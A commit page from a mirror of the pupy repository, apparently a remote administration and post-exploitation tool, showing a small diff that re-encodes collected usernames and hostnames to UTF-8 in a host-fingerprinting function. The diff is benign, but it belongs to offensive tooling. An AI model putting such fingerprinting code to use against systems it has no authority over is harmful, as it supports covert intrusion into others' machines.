mirror of https://github.com/n1nj4sec/pupy.git
send properly encoded username/hostname string
This commit is contained in:
parent
2c17e6fc12
commit
4d9ba75b72
|
@ -63,6 +63,8 @@ class PupyServer(threading.Thread):
|
||||||
import uuid
|
import uuid
|
||||||
import sys
|
import sys
|
||||||
import os
|
import os
|
||||||
|
import locale
|
||||||
|
os_encoding = locale.getpreferredencoding() or "utf8"
|
||||||
def get_uuid():
|
def get_uuid():
|
||||||
user=None
|
user=None
|
||||||
node=None
|
node=None
|
||||||
|
@ -75,11 +77,11 @@ class PupyServer(threading.Thread):
|
||||||
proc_arch=None
|
proc_arch=None
|
||||||
proc_path=sys.executable
|
proc_path=sys.executable
|
||||||
try:
|
try:
|
||||||
user=getpass.getuser()
|
user=getpass.getuser().decode(encoding=os_encoding).encode("utf8")
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
try:
|
try:
|
||||||
node=platform.node()
|
node=platform.node().decode(encoding=os_encoding).encode("utf8")
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
try:
|
try:
|
||||||
|
|
Loading…
Reference in New Issue